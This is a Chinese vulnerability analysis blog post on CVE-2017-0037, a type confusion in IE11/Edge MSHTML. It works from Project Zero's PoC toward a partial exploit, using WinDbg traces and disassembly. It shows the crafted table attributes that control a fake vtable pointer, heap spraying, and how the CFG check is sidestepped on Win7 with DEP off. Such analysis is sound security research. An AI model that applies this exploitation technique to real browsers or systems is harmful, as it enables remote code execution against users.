【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit
2017-03-20 10:33:06
来源:whereisk0shl.top 作者:k0shl
阅读:105次
点赞(0)
收藏
前言
前段时间Google Project Zero(PJ0)曝光了一个关于IE11和Edge的一个类型混淆造成代码执行的漏洞,微软至今未推出关于这个漏洞的补丁,我对这个漏洞进行了分析,并且通过PoC构造了半个Exploit,为什么是半个呢,首先这个漏洞攻击面比较窄,只能控制Array里+0x4位置的值,通过类型混淆会认为这个值是一个指针,随后会调用指针某偏移处的虚函数,当我们能够控制这个指针的值的时候,虚函数也能够得到控制。这样就能劫持程序流,达到代码执行的效果。但这其中涉及到一个ASLR的问题,由于地址随机化,导致我们就算控制跳转之后,无法通过info leak来构造ROP,也就是DEP也无法绕过。
这里我也有考虑到袁哥的DVE,但由于我们并没有RW primitives,因此我们控制关键指针的条件太有限,导致想通过GodMod来执行脚本的方法似乎也不太可行(或者我没有发现?求大牛指教!)。
因此这里,我写了一个在关闭DEP时可以使用的exploit,并且和大家一起分享从PoC到Exp的整个过程,不得不说过程还是很麻烦的,因为想寻找这个Array+0x4位置的控制值如何能够DWORD SHOOT,我跟了Layout::TableBoxBuilder类下的很多函数。
PJ0 CVE-2017-0037 PoC地址:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1011
目前来看,微软并没有更新这个exp的补丁,但是有人利用0patch修补了这个漏洞,其实我看起来感觉不太像从根本上解决了这个漏洞的问题:
https://0patch.blogspot.jp/2017/03/0patching-another-0-day-internet.html
尽管这个Type Confusion攻击面有限,但是Type Confusion这种漏洞是非常常见的,它的原理一般情况下是由于函数处理时,没有对对象类型进行严格检查,导致可以通过某些手段来造成类型混淆,通过对其他可控类型的控制可以达到代码执行的效果,甚至任意内存读写,比如Memory Corruption。
好啦,不多说了!下面我们来进入今天的分析,首先我们漏洞分析的环境:
windows7x64sp1build7601
IE11.0.9600.17843
漏洞分析
首先漏洞的关键出现在boom()中,在PoC中定义了一个table表,其中在标签中定义了表id为th1,在boom()函数中引用到,随后通过setInterval设定事件。
运行PoC,可以捕获到漏洞崩溃,附加Windbg。
0:003:x86>r
eax=00000038ebx=0947ffb0ecx=0947ffb0edx=00000002esi=00000064edi=6e65c680
eip=6e20fc87esp=086abdc0ebp=086abdeciopl=0nvupeiplnznaponc
cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6e20fc87833800cmpdwordptr[eax],0ds:002b:00000038=????????
可以看到,这里eax作为指针,引用了一处无效地址,从而引发了崩溃,直接回溯崩溃位置的上下文,可以看到,在cmp汇编指令之前,调用了一处函数Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable。
而eax寄存器正是Readable函数的返回值。我们在这个函数call调用位置下断点,重新执行windbg。
0:007:x86>r
eax=0a020590ebx=007e79f0ecx=007e79f0edx=007e79f0esi=00000064edi=69ad8080
eip=6968fc82esp=0900b878ebp=0900b8a4iopl=0nvupeiplnznaponc
cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
可以看到,ecx寄存器作为第一个参数,看一下这个参数存放的对象。
0:007:x86>dpsecx
007e79f068d82230MSHTML!Layout::FlowItem::`vftable'
007e79f400000000//这个值将会在Readable函数中引用
007e79f800000009
007e79fc007ec8d4
007e7a000a020660
007e7a0400000064
007e7a0800000064
007e7a0c007e79f0
007e7a10007e79f0
007e7a1468d82230MSHTML!Layout::FlowItem::`vftable'
007e7a1800000000
007e7a1c00000009
007e7a20007ec8d4
007e7a240a01fc60
007e7a2800000000
007e7a2c00000000
007e7a30007e7a14
007e7a34007e7a14
这个参数存放的对象是一个Layout::FlowItem::`vftable虚表,随后通过IDA来分析一下这个函数的功能。
int__thiscallLayout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(intthis)
{
intv1;//eax@2
intresult;//eax@4
if(*(_BYTE*)(*(_DWORD*)(__readfsdword(44)+4*_tls_index)+36))
//gettlsarray
{
result=this+16;
}
else
{
v1=*(_DWORD*)(this+4);
if(!v1)//这个位置会检查this+0x4位置的值,如果为0,则进入处理
v1=this;//获取vftablepointer
result=v1+16;
}
returnresult;
}
这里,读取虚表+0x4位置的值为0,因此会执行if(!v4)中的逻辑,会将this指针交给v1,随后v1+0x10后返回,因此,Layout::FlowItem::`vftable所属指针的这个情况是正常的情况,函数会正常返回进入后续处理逻辑。
0:007:x86>p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
68dbed1683c010addeax,10h
0:007:x86>p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
68dbed19c3ret//函数正常返回
0:007:x86>reax
eax=007e7a00
0:007:x86>dpseax
007e7a000a020660
007e7a0400000064
007e7a0800000064
007e7a0c007e79f0
007e7a10007e79f0
0:007:x86>p
Breakpoint0hit//这个地方会引用正常的值
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6968fc87833800cmpdwordptr[eax],0ds:002b:007e7a00=0a020660
直接继续执行,程序会第二次命中Readable函数,这次来看一下ecx中存放的对象。
0:007:x86>r
eax=0a020000ebx=0a020120ecx=0a020120edx=00000000esi=00000064edi=69adc680
eip=6968fc82esp=0900b878ebp=0900b8a4iopl=0nvupeiplnznaponc
cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
0:007:x86>dpsecx
0a02012000000000
0a02012400000028
0a02012800000050
0a02012c00000078
0a020130000000a0
0a020134000000c8
0a020138a0a0a0a0
0a02013ca0a0a0a0
这次存放的对象并非是一个虚表对象,这个对象是一个int Array的维度对象,这样我们通过条件断点来跟踪两个对象的创建过程。我们重点关注两个对象创建的函数,一个是FlowItem::`vftable对应的虚表对象,另一个是引发崩溃的int Array对象。这两个函数的返回值,也就是eax寄存器中存放的就是指向这两个创建对象的指针。
MSHTML!Array<Math::SLayoutMeasure>::Create
MSHTML!Array<SP<Tree::TableRowGroupBlock>>::Create
通过对这两个对象进行跟踪,我们可以看见到对象的创建,以及后续引用对象,导致Type Confusion。
//下条件断点,打印每一次intArrayobject创建的信息
0:007:x86>bp6912e1fb".printf\"Something:0x%08x,0x%08x\\n\",@eax,poi(eax);g;"
//对象被不断创建
0:007:x86>g
Something:0x088abc84,0x0098c788
Something:0x088abc84,0x09806790
Something:0x088abc84,0x097d9010
Something:0x088abc5c,0x097dafd8
Something:0x088abc84,0x097ce050
Something:0x088abc84,0x098026e0
Something:0x088abc84,0x098044c8
Something:0x088abc84,0x097ff540
Something:0x088abc5c,0x097d5058
Something:0x088abafc,0x097cab00
Something:0x088abafc,0x0980a690//key!!
Breakpoint1hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
0:007:x86>r//第一次命中时,是正常的FlowItem对象
eax=0980aa80ebx=0094d364ecx=0094d364edx=0094d364esi=00000064edi=69ad8080
eip=6968fc82esp=088abb28ebp=088abb54iopl=0nvupeiplnznaponc
cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
0:007:x86>g
Breakpoint1hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
0:007:x86>r//第二次命中时,注意ecx寄存器的值,0x0980a690
eax=0980a570ebx=0980a690ecx=0980a690edx=00000000esi=00000064edi=69adc680
eip=6968fc82esp=088abb28ebp=088abb54iopl=0nvupeiplnznaponc
cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)
果然第二次命中的时候,是一个int Array Object。因此,这个漏洞就是由于Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable函数是处理虚表对象的函数,但是由于boom()函数中引用th1.align导致Readable函数第二次引用,由于没有对对象属性进行检查,导致第二次会将table对象传入。
这就是一个典型的Type Confusion。
而Readable会将这个对象当作虚表对象处理,而这个int Array维度对象我们可以控制,从而通过控制Readable返回值来达到代码执行。
Exploitation Surface
如果想利用这个漏洞,我们需要分析一下攻击面,首先是我们可控的位置是什么(也就是在之前我提到的int Array的维度),这个可控的位置是否有利用点,有哪些防护,是否有可能绕过等等。
首先我们来看一下利用位置的上下文。
cmpdwordptr[eax],0
jeMSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d83
movecx,ebx
callMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable
movdwordptr[ebp-10h],esp
movebx,dwordptr[eax]
moveax,dwordptr[ebx]
movedi,dwordptr[eax+1A4h]
movecx,edi
calldwordptr[MSHTML!__guard_check_icall_fptr]
movecx,ebx
calledi
可看到,在eax作为指针返回后,会在后续继续调用到一个Readable函数,而在这个函数后返回后,eax会连续传递,最后调用到call edi,引用这个虚函数。
也就是说,一旦我们可以控制这个指针,我们就有可能在call edi位置达到代码执行的效果。
而可以看到,在call edi之前,有一处call __guard_check_icall_fptr,这是Windows新的防护机制CFG,在执行虚函数调用前,会检查虚函数。
由于我们调试环境是Win7,CFG只在高版本的Windows中启用,比如win8和win10,因此这处CFG check在Win7环境下并没有实际作用,是在Win8和Win10高版本开启后,为了向下兼容,而在Win7中加入的这处函数调用。
因此,我们简单分析一下我们的攻击面,首先我们可控的位置是int Array Object+0x4位置的值,这个值控制范围有限,因此我们似乎不能通过这种方法来获得任意地址的读写能力,因此对于我们来说ASLR对于这个漏洞来说不好绕过。ASLR和DEP不好绕过。
接下来,我们要分析的就是,如何控制这个值。这个对象经过我们刚才的分析,是由MSHTML!Array<Math::SLayoutMeasure>::Create函数创建的对象,但赋值并非在这个位置。在分析的过程中,我对Layout中的大量类函数进行了跟踪分析,这里我将通过正向来直接跟大家展示这个值是从什么位置来的。
跟踪TableBoxBuilder结构体
这里,我们稍微修改一下PoC,主要是对th1对象中的width值进行修改。
<thid="th1"colspan="5"width=10000></th>
下面调试过程中,由于多次重启,堆地址值有所变化,但不影响分析。
首先,我们要关注的是一个名为FlowBoxBuilder的对象,这个对象偏移+0x124的位置将会存放Width值生成的一个size。在Layout::FlowBoxBuilder::FlowBoxBuilder函数中,这个结构体对象被创建。
0:007:x86>p
MSHTML!Layout::FlowBoxBuilder::FlowBoxBuilder+0xe:
67c70ae48bd9movebx,ecx//对象位置被初始化
0:007:x86>recx
ecx=09a42ad8
0:007:x86>dd09a42ad8+124//对应位置的成员变量已经被初始化
09a42bfce0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0
0:007:x86>baw109a42ad8+124//对+0x124位置下写入断点
0:007:x86>g
Breakpoint4hit
MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing+0x11b:
67b18c75f3a5repmovsdwordptres:[edi],dwordptr[esi]
0:007:x86>dd09a42ad8+124//可以看到在InitializeBoxSizing函数中被赋值
09a42bfc00989680=1000000
可以看到,在MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing函数中,FlowBoxBuilder+0x124位置被赋值。赋值的内容是0x989680,就是1000000,这个值又是从哪里来的呢?在MSHTML中有一个函数MSHTML!Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth,这个计算会将table的width*100。
如上面的代码片段,FlowBoxBuilder在InitializeBoxSizing中初始化之后,偏移+0x124位置会将ComputeBoxModelForChildWithUsedWidth函数的计算值保存。
随后这个值会加上200,之后这个值回存入结构体中,然后会存放在FlowBoxBuilder结构体+0x114的位置。
67b0201a8906movdwordptr[esi],eax
0:007:x86>g
Breakpoint7hit
MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13:
67b0201c85c9testecx,ecx
0:007:x86>dd09b40948+114//
09b40a5c09b778d000000000e0e0e0e000000000//在FlowBoxBuilder+0x114位置存放了一个结构体
09b40a6c00989874//+200之后依然存放在FlowBoxBuilder+0x124的位置
0:007:x86>dd09b778d0
09b778d067e6c5740000000109b3656009b6f968//结构体+0xc位置存放着目标结构体,这个结构体其实就是一个intArray结构,这个结构会在后续调用中用到。
09b778e000989874
0:007:x86>dd09b6f968
09b6f96800000000001e84a8003d0950005b8df8
09b6f978007a12a000989748a0a0a0a0a0a0a0a0
09b6f98800000000000000004c762d5c000c2ca7
09b6f99809b5a4a809b71a68f0f0f0f0f0f0f0f0
09b6f9a8f0f0f0f0f0f0f0f0a0a0a0a0a0a0a0a0
09b6f9b8000000000000000059752d4a140c2caa
09b6f9c8abcdaaaa80411000000000440000006c
09b6f9d809b6fa5809b6f91004d67e6cdcbaaaaa
0:007:x86>kb//调用逻辑
ChildEBPRetAddrArgstoChild
08efb8f467e6c0fc09b778d008efbd5409b409d0MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13
08efb94067e6c03e090b82f809b4090009b40a20MSHTML!Layout::SBoxModel::CalculateFullBoxModelForTable+0x9f
08efb9bc67b1a3dc090b82f809b4090009b40a20MSHTML!Layout::SBoxModel::CalculateFullBoxModel+0x270
08efbac467b1236508efbd540001f40008efbcecMSHTML!Layout::FlowBoxBuilder::BuildBoxItem+0x25a
到此,我们完成了对FlowBoxBuilder结构体关键成员变量的赋值,这个成员变量会在后续调用中,进入很关键的TableBoxBuilder结构体,我们关键的Array位置存放在FlowBoxBuilder+0x114的指针内偏移为+0xc的指针处,接下来我们进入TableBoxBuilder类函数跟踪。
+0xc的这个Array会在TableBoxBuilder::InitialBoxSizing函数中交给TableBoxBuilder结构体+0x294的位置。
0:007:x86>p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5c:
67e766ac8d460cleaeax,[esi+0Ch]//esi存放的就是FlowBoxBuilder+0x114的指针
//+0xc位置存放的就是Array结构体
0:007:x86>p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5f:
67e766af50pusheax
0:007:x86>p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x60:
67e766b08d8b94020000leaecx,[ebx+294h]//ebx存放的是TableBoxBuilder+0x294的指针地址
0:007:x86>p//调用SArray::operator
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x66:
67e766b6e879e6c4ffcallMSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator=(67ac4d34)//esi+0c
0:007:x86>dd0963ba2c//esi+0xc的值
0963ba2c00a2beb000000000e0e0e0e000000000
0:007:x86>dda2beb0
00a2beb000000000001e84a8003d0950005b8df8
00a2bec0007a12a000989748a0a0a0a0a0a0a0a0
在MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator函数中,会完成对TableBoxBuilder+0x294位置的赋值,就是将上面代码中esi+0xc的值,交给TableBoxBuilder+0x294。
0:007:x86>g
Breakpoint4hit
MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a:
67ac4d4e85c9testecx,ecx
0:007:x86>dd09d7ff30+294//偏移294位置存放着TableBoxBuilder中的size部分,用于赋值给TypeConfusion的对象
09d801c409d7da3000000000e0e0e0e000000000
09d801d400000000a0a0a0a0a0a0a0a009d7f868
0:007:x86>dd09d7da30//已经完成了Size的赋值操作
09d7da3000000000001e84a8003d0950005b8df8
09d7da40007a12a000989748a0a0a0a0a0a0a0a0
0:007:x86>kb
ChildEBPRetAddrArgstoChild
08e7b87867e766bb09da48bc08e7bbbc08e7b8a8MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a
08e7b89067ccb346051d2fd8051d2f8809da48b0MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x6b
在最后漏洞触发位置的MSHTML!Layout::TableGridBox::InitializeColumnData函数中,会完成对我们漏洞触发位置的Type Confusion的结构体内容的赋值。
6912e2268b8394020000moveax,dwordptr[ebx+294h]ds:002b:0924592c=09245598//whatisebxandebx+294ebxisstructLayout::TableBoxBuilder
6912e22c8b0emovecx,dwordptr[esi]//获取我申请的堆指针
6912e22e8b0490moveax,dwordptr[eax+edx*4]//计算TableBoxBuilder对应294位置的值+索引*sizeof
6912e231890491movdwordptr[ecx+edx*4],eax//将这个值交给申请堆指针对应索引的位置
6912e23442incedx//edx=edx+1//自加1
6912e2353bd7cmpedx,edi//checklenth检测是否已经到达我申请的堆大小
6912e2377cedjlMSHTML!Layout::TableGridBox::InitializeColumnData+0x6c(6912e226)
可能大家这个时候有点乱了,下面我将用一个流程图来展示一下结构体的赋值过程。大致就是首先会通过计算获得Width的一个size,计算方法是:Width*100+200,随后,会将这个值保存在一个Array里,这个Array的大小后面会讲到。之后会将这个Array存入一个指针偏移+0xc的位置,交给FlowBoxBuilder结构体+0x114的位置。之后,会赋值给TableBoxBuilder结构体+0x294位置,最后会交给漏洞触发位置申请的堆指针。
而经过我们上面的分析,产生漏洞的位置在这个Array+0x4位置,我们也需要通过table的条件控制这个位置的值,才能达到利用。
控制Array结构到漏洞利用
通过上面的跟踪,我们知道了id=th1的Table中的Width可以控制一个Array结构,但是我们也发现Array结构并非单独只包含一个Width计算得到的值。
0:007:x86>dd9bc7038
<thid="th1"colspan="5"width=1000></th>//
09bc70380000000000004e4800009c900000ead8
09bc70480001392000018768a0a0a0a0a0a0a0a0
可以看到,Array结构是有一个大小的,其实,这个Array中存放的值,取决于width,而大小取决于colspan,这个colspan为5的情况下,Array中存放了5个值,而我们需要控制的是Array+0x4这个位置的值,这样的话,我们将colspan的大小修改为1,并且修改Width的值。
<thid="th1"colspan="1"width=2021159></th>
0:005:x86>t
MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable:
67afecf48b15fc5cb368movedx,dwordptr[MSHTML!_tls_index(68b35cfc)]ds:002b:68b35cfc=00000002
0:005:x86>p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x6:
67afecfa64a12c000000moveax,dwordptrfs:[0000002Ch]fs:0053:0000002c=00000000
0:005:x86>p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0xc:
67afed008b0490moveax,dwordptr[eax+edx*4]ds:002b:008f5dd0=008f0fb8
0:005:x86>ddecx//ecx存放的是Array
098563c8000000000c0c0c04a0a0a0a0a0a0a0a0
可以看到,通过修改Width和colspan,我们成功控制了Array+0x4位置的值,这样,在接下来由于TypeConfusion,会将这个int Array当成是vftable pointer返回,并继续执行。
0:005:x86>p//Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable函数
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
67afed1683c010addeax,10h
0:005:x86>p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
67afed19c3ret
0:005:x86>p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36://返回之后,eax成功变成了0c0c0c14的值
683cfc87833800cmpdwordptr[eax],0ds:002b:0c0c0c14=00000000
可以看到,在返回后,我们可以成功控制这个返回指针了。接下来,我们利用heap spray来喷射堆,从而稳定控制0c0c0c0c位置的值。
CFG???从PoC到半个exploit
到此,我们完成了对漏洞函数返回值的控制,在文章最开始的时候,我们看到这个指针的值中的成员变量,会作为虚函数在后续call调用中引用,在此之前,会有一处CFG check。
0:007:x86>p//eax已经被我们控制,跳转到喷射结束的堆中
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d45:
683cfc968b18movebx,dwordptr[eax]ds:002b:0c0c0bb0=0c0c0c0c
0:007:x86>p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d47:
683cfc988b03moveax,dwordptr[ebx]ds:002b:0c0c0c0c=0c0c0c0c
0:007:x86>p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d49:
683cfc9a8bb8a4010000movedi,dwordptr[eax+1A4h]ds:002b:0c0c0db0=0c0c0c0c
0:007:x86>p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d4f:
683cfca08bcfmovecx,edi
0:007:x86>p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d51:
683cfca2ff1534afb568calldwordptr[MSHTML!__guard_check_icall_fptr(68b5af34)]ds:002b:68b5af34=67ac4b50//进入CFGcheck函数
0:007:x86>t
MSHTML!CJSProtocol::`vftable'+0xc://这个CFG并无实际作用,直接返回了
67ac4b508bc0moveax,eax
0:007:x86>p
MSHTML!CElement::OnGCFilteredForReplacedElem:
67ac4b52c3ret
这个CFG check在Win7中没有实际作用,如上代码跟踪的片段,进入CFG check之后,直接返回了,但是在高版本的Windows中,必须考虑CFG防护的绕过。
但是由于所有地址模块都开启了ASLR,而利用面来看的话,并没有地方可以泄露内存信息,也没有其他好用的利用点,这样的话就不好绕过ASLR和DEP,我在关闭win7 DEP的情况下,完成了利用。
感谢大家阅读,如果有不当之处,请大家多多交流,谢谢!
![【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit]()
![【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit]()
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3626.html